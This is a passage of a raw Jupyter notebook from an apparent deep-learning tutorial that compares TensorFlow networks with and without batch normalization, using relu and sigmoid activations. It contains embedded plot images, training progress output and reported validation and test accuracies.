4tvkAO00U8DXkl6/1Pgpy1drhzi6Ef9pLAEONR7fSiwJF18\nuCvATvOW+TBp+uXAH5KX8V7n4e6UlJaOOSX+F4GzgxQ30AF4DzcaQLuOG3ef0mvAmdQlhXYds1eW\nVTRMCi0Wd1CajzINp9HWlWrdfR0bgFLvdaZ4e3mvU6fX+4yqRoBtQA9/it18XpX3RNxZc7uP22tG\nqQQ2Af9W1SDE/VvgJ0AsaVp7jxlAgVdF5F1xQ/pAC8bdJoa5ME1TVRWRdnl9sYh0Ap4FblLV7V5T\nKdB+41bVKDBURLoCz4vI4JT57SpuETkP2KSq74pIebpl2lvMST6nqmtF5GDg3yLyYfLMAx13UGoK\n7XU4jY3ijSrr/d7kTc8U71rvder0ep8RkTygC7DFt5JnSUTycQlhkqo+501u93HHqepnwHRgNO07\n7tOBr4jIKtyIymeKyF9p3zEDoKprvd+bgOdxI0y3WNxBSQrZDLnRFk0BrvZeX41rc49Pv8y76qA/\n7nkV73jV0e0icqp3ZcJVKZ+Jr+ti4HX1GiFbilfGPwOLVfX+pFntPe6DvBoCIlKM60f5kHYct6r+\nVFV7q2o/3P/n66r6DdpxzAAi0lFEOsdfA18EFtCScbd0J8sB7Mw5F3f1ynLgZy1dnhzK/yRuSPFa\nXHvht3Dtgq8BHwGvAt2Tlv+ZF+sSvKsQvOll3k63HPgddXe1FwF/xw058g5wRCuI+XO49tYPgErv\n59wAxH088L4X9wLgNm96u447qczl1HU0t+uYcVdEzvN+FsaPTS0Ztw1zYYwxJiEozUfGGGOyYEnB\nGGNMgiUFY4wxCZYUjDHGJFhSMMYYk2BJwbRpItLDG12yUkQ2iMjapPcFWa7jURE5tollvi8iV+yf\nUqdd/0UiMsCv9RuTLbsk1bQbInI7UK2q96VMF9y+Hkv7wVbAu3v3GVV9oaXLYoLNagqmXRKRo8Q9\nh2ES7qagQ0VkoojMFfeMgtuSlp0hIkNFJE9EPhORu8Q9y2CWNx4NInKniNyUtPxd4p55sERERnjT\nO4rIs973PuN919A0ZbvXW+YDEblbREbibsr7jVfD6SciR4vIK94gaW+KyDHeZ/8qIr/3pi8VkTHe\n9CEiMsf7/AcicoTf29i0TzYgnmnPBgBXqWr8wSXjVXWrN/7LdBF5RlUXpXymC/CGqo4XkfuBbwJ3\npVm3qOpwEfkKcBtubKIbgA2q+lUROQE35HX9D4mU4hLAIFVVEemqqp+JyDSSagoiMh24VlWXi8jp\nuDtUv+itpg9wMm6Ig1dF5CjcmPn3qepkESnEjalvTLNZUjDt2fJ4QvBcLiLfwu33h+EeWJKaFHar\n6sve63eBkRnW/VzSMv28158D7gZQ1XkisjDN57bihob+o4j8A5iauoA37tGpwLNSNyJs8v/q015T\n2BIRWYNLDjOBW0WkL/Ccqi7LUG5jGmXNR6Y92xl/ISJHAz8AzlTV44F/4saESbU36XWUzCdOe7JY\npgFVrcWNUfMCcAHwjzSLCbBZVYcm/SQPnZ3aEaiq+hfgQq9c/xSRz2dbJmOSWVIwQVEC7MCNJHko\ncE4Ty+fiLeAScG38uJpIPd6ImCWqOhX4Ie7BQXhl6wygqp8C60XkQu8zIa85Ku5r4hyDa0r6SESO\nUNVlqvoArvZxvA/xmQCw5iMTFO/hmoo+BD7GHcD3t4eAJ0Rkkfddi3BPuUrWBXjOa/cP4Z5JDG4U\n3D+IyC24GsRlwO+9K6oKgL/iRtIENz7+XKATME5V94rI10XkctwouuuA232IzwSAXZJqzH7idWDn\nqWqN11z1L+BodY9A3F/fYZeuGl9ZTcGY/acT8JqXHAT4zv5MCMYcCFZTMMYYk2AdzcYYYxIsKRhj\njEmwpGCMMSbBkoIxxpgESwrGGGMS/j9eV6q+aGoklgAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11bcf7c88>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 1, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In both of the previous examples, the network with batch normalization manages to gets over 98% accuracy, and get near that result almost immediately. The higher learning rate allows the network to train extremely fast." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 1, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:36<00:00, 1382.38it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.9783996343612671\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:35<00:00, 526.13it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9837996959686279\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.9752001166343689\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.981200098991394\n" ] }, { "data": { "image/png": "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\nEbX1kNQYhVZTMMYYIIPmIxH5mYj0